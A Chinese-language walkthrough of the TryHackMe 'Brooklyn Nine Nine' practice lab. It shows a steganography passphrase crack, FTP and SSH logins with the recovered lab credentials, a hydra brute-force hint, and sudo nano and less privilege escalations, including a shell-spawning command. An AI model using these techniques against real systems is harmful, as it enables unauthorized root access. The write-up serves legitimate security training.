> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Brooklyn Nine Nine writeup (zh-TW)
- URL: https://taiwanding.com/tryhackme-brooklyn-nine-nine-writeup-zh-tw/
- Published: 2025-09-18T06:12:12.000Z
- Updated: 2026-07-15T02:49:50.000Z
- Author: Kevin Chen
- Tags: tryhackme, CTF, stegano

## 題目資訊

- **平台**: TryHackMe
- **房間名稱**: Brooklyn Nine Nine
- **難度**: Easy
- **目標**: 獲取 user.txt 和 root.txt
- **連結**: [https://tryhackme.com/room/brooklynninenine](https://tryhackme.com/room/brooklynninenine?ref=taiwanding.com)

## System Weakness

### 發現服務

nmap -Pn 10.201.61.44

- **Port 21**: FTP
- **Port 22**: SSH
- **Port 80**: HTTP

---

## Step 1: 圖片隱寫取得初始密碼（holt）

題目圖片進行隱寫檢查，使用 steghide/stegseek 直接爆字典。

```bash
└─$ stegseek brooklyn99.jpg /usr/share/wordlists/rockyou.txt
[i] Found passphrase: "admin"
[i] Original filename: "note.txt".
[i] Extracting to "brooklyn99.jpg.out"

```

```bash
└─$ cat brooklyn99.jpg.out
Holts Password:
fluffydog12@ninenine

```

## Step 2: FTP 枚舉（額外線索）

```bash
└─$ ftp 10.10.x.x
Name: holt / Pass: fluffydog12@ninenine
ftp> ls -la
ftp> get note_to_jake.txt

```

```bash
└─$ cat note_to_jake.txt
From Amy,
Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine

```

## Step 3: SSH 登入（holt）

```bash
└─$ ssh holt@10.10.x.x
Password: fluffydog12@ninenine

```

## Step 4: 權限提升 - 方法 1（holt → root，nano 產生互動殼）

先確認 sudo 權限：

```bash
└─$ sudo -l
(ALL) NOPASSWD: /bin/nano

```

使用 nano 的 GTFOBins 技巧（^R → ^X 執行指令，綁回 TTY 取得互動殼）：

```bash
└─$ sudo /bin/nano
[Ctrl+R] → [Ctrl+X]
Command to execute: reset; sh 1>&0 2>&0

```

驗證與拿旗：

```bash
# whoami
root
# cat /root/root.txt
-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: Redacted

Enjoy!!

```

## Step 5: 權限提升 - 方法 2（holt → 直接讀 root.txt）

不需互動殼，直接以 root 權限開檔：

```bash
└─$ sudo /bin/nano /root/root.txt

```

（內容同上，複製旗子即可）

## Step 6: 權限提升 - 方法 3（jake → root，less 讀檔）

依 FTP 提示，對 jake 以字典嘗試（略），取得殼後直接讀 root：

```bash
jake@brookly_nine_nine:~$ /usr/bin/less /root/root.txt
-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: Redacted

Enjoy!!
/root/root.txt (END)

```

## Step 7: User Flag

在holt使用者家目錄取得 user.txt：

```bash
└─$ ls -la ~
nano.save  user.txt
└─$ cat ~/user.txt

```

---

## 技術要點

1. **Steganography（JPEG 內嵌資料）**
  - 利用 stegseek 從圖片中取出 note，取得 holt 密碼。
2. **弱密碼與服務枚舉**
  - FTP 提示弱密碼；對 jake 進行 SSH 字典攻擊可得。
3. **sudoers 配置不當（無密碼執行危險程式）**
  - **holt**：NOPASSWD 允許 `/bin/nano` → 透過「Read File → Execute」拿 root 互動殼或直接讀 root.txt。
  - **jake**：可直接使用 `/usr/bin/less` 讀取 `/root/root.txt`

## 經驗分享

### 關於Step 1:

這一步之所以知道有隱寫術，是因為網頁的原始碼就提示要用隱寫術去查看圖片，隱寫術有很多工具也有很多相關技術，有時候不同的隱寫術會搭配不同的解密工具，這部分可以自行研究一下，題目選用的是stegseek

### 關於Step 3:

這一步其實可以用holt，也可以用jake，ssh登入，因為ftp的線索已經說jake的密碼很簡單，所以我們可以用hydra爆破密碼即可，密碼是987654321

### 關於Step 7:

使用者的flag，user.txt是在holt的家目錄喔\~所以如果是用jake的登入，很有可能會先拿root flag再拿user flag

讚!